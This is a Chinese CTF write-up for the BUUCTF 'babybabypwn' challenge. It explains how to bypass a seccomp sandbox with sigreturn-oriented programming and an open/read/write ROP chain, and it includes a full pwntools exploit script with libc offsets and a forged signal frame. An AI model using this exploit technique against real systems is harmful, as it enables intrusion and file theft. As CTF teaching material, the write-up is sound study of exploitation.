BUUCTF [V&N2020 公开赛]babybabypwn

BUUCTF [V&N2020 公开赛]babybabypwn_第1张图片
先看一下,,所有保护机制都开启了

BUUCTF [V&N2020 公开赛]babybabypwn_第2张图片
进入main的第二个函数,里面是这一堆东西
查了一下这个是沙盒机制,seccomp ,,这个seccomp_rule_add函数是给这个沙盒添加规则,意思是这个函数不能调用
这个函数的第三个参数,是代表函数的number,,别的不太清楚,网上也没有查到。。但是 59号代表的是execve函数
所以这个函数不能被调用,,也就是说无法得到系统权限了(吧)
所以这样的话我们就只能执行shellcode 或者 通过open,read,write等函数想办法泄露出flag文件中的内容
(有兴趣的可以看一下pwnable.kr的asm,,里面也是禁用了系统调用,,通过编写shellcode用open,read,write三个函数泄露flag)

BUUCTF [V&N2020 公开赛]babybabypwn_第3张图片
这是main函数里的第三个函数,
可以看到一开始打印出来了puts的真实地址,之后对buf进行输入,再之后 syscall(15,&buf)
syscall也是一个系统调用函数,第一个参数可以是很多数,效果不一样
但是第一个参数是15的时候代表调用的是sigreturn
BUUCTF [V&N2020 公开赛]babybabypwn_第4张图片
BUUCTF [V&N2020 公开赛]babybabypwn_第5张图片
首先看一下这两个图,这是进程在调用signal的时候的过程,调用signal类似于一个中断吧。。(我这么理解)
需要先把进程挂起,把进程当前的各个寄存器以及相关参数入栈,等到执行完signal的时候要考虑通过栈恢复当前的状态,
这时候就调用了syscall(15)也就是sigreturn函数,作用就是每个寄存器或者参数依次出栈,逐步恢复进程状态。。


但是这道题我们可以看到,没有调用signal,,直接就调用了syscall(15)也就是sigreturn函数,我们之前输入的buf被当作各种寄存器参数依次出栈
这个buf充当的角色叫做 Signal Frame ,在内存中的布局是这样的
BUUCTF [V&N2020 公开赛]babybabypwn_第6张图片
这是 x64 下的布局,,第一个是sigreturn函数地址,,这个函数用于恢复进程状态,后面的参数一一对应出栈

BUUCTF [V&N2020 公开赛]babybabypwn_第7张图片
x86 下的我没有找到图,但是有文字,各个寄存器储存的顺序,,因为x86下不用寄存器传参,所以SROP这种方法可能不好用吧。。

那么有了这些知识,我们就知道,通过输入buf,可以构造signal frame ,然后按我们的意愿构造进程状态,
而此时我们有puts函数的地址,可以知道libc里面的所有函数
我通过puts的地址查了一下libc,找到了这两个版本,这两个基本是一致的
BUUCTF [V&N2020 公开赛]babybabypwn_第8张图片
下载下来就可以通过ida查看,,BUUCTF [V&N2020 公开赛]babybabypwn_第9张图片

既然开启了pie,我们代码段的地址都是不可知的,唯一知道的地址就是libc里面所有东西的地址,
再者,系统调用不可用,shellcode我试了一下好像也不太行(是我不太会),我们就可以通过syscall(15)构造好frame,把程序流伪造为下一个要执行的函数是read,把我们精心构造的ROP写到某个地方,然后ret过去进行ROP,但是ROP在栈上的话我们并不知道栈的地址,我们把ROP写到哪里去了都不知道,万一写到了重要的数据上就更无法利用了,所以一定要把ROP写在一个可知的地址,就用这一块地址当作栈
看网上的wp,都说是写在libc的bss段,BUUCTF [V&N2020 公开赛]babybabypwn_第10张图片
这样应该是没问题的,libc的bss段我看了一下好像没有东西,都是0,,其实别的地方也行吧,只要不重要就行,我就写在了bss段

之后就是进行ROP,,这个ROP链的构造过程也是挺有意思的


首先我们脑子里先想一下,,这个ROP链的作用就是通过open,read,write(或者其他输出函数)来把flag从flag文件里泄露出来,
所以先open flag文件,然后read里面的内容到地址x,,然后把地址x里面的内容write出来

先看一下这三个函数
BUUCTF [V&N2020 公开赛]babybabypwn_第11张图片
每个参数对应一个寄存器,把参数从伪造栈上pop进寄存器
(注:64位的函数参数前六个在寄存器里,顺序是 rdi rsi rdx rcx r8 r9)

之后就是这样的
在这里插入图片描述
flag_addr是指针,指向‘flag’字符串,作为open的参数
content_addr是我们从文件读出来的数据放在这个地址

完整:

from pwn import *

context(os = 'linux',arch = 'amd64',log_level = 'debug')

#sh = process("./vn_pwn_babybabypwn_1")
sh = remote("node3.buuoj.cn","28388")

sh.recvuntil("Here is my gift: ")
puts_addr = int(sh.recvline()[2:-1],16)
print(hex(puts_addr))
libc_base = puts_addr - 0x06f690

libc_bss = libc_base + 0x3c5720
read_addr = libc_base + 0x0f7250
write_addr = libc_base + 0x0f72b0
open_addr = libc_base + 0x0f7030
pop_rdi_ret = libc_base + 0x21102
pop_rsi_ret = libc_base + 0x202e8
pop_rdx_ret = libc_base + 0x1b92

print('libc_bss = '+hex(libc_bss))


x =   p64(0x0) * 12
x +=  p64(0x0)   #rdi
x +=  p64(libc_bss)  #rsi
x +=  p64(0xdeadbeef)  #rbp
x +=  p64(0x0)    #rbx
x +=  p64(0x100)    #rdx
x +=  p64(0x0)    #rax
x +=  p64(0x0)    #rcx
x +=  p64(libc_bss)     #rsp 
x +=  p64(read_addr)     #rip
x +=  p64(0x0)     #eflags
x +=  p64(0x33)     #cs/gs/fs
x +=  p64(0x0)*7

sh.sendafter("Please input magic message: ",x)

flag_addr = libc_bss + 152
content_addr = libc_bss + 0x400
ROP = p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0x0) + p64(open_addr)  #open
ROP += p64(pop_rdi_ret) + p64(0x3) + p64(pop_rsi_ret) + p64(content_addr) + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr)  #read
ROP += p64(pop_rdi_ret) + p64(0x1) + p64(pop_rsi_ret) + p64(content_addr) + p64(pop_rdx_ret) + p64(0x100) + p64(write_addr)  #write
#ROP += p64(pop_rdi_ret) + p64(content_addr) + p64(puts_addr)
ROP += 'flag\x00\x00\x00'

sh.send(ROP)

#gdb.attach(sh)


sh.interactive()


在构造frame的时候那个 cs/gs/fs 的值不知道是啥,这三个是段寄存器,我就运行了一下看看是多少。。
我不太清楚为什么调试的时候是0x33实际上就是0x33
BUUCTF [V&N2020 公开赛]babybabypwn_第12张图片

你可能感兴趣的:(BUUCTF [V&N2020 公开赛]babybabypwn)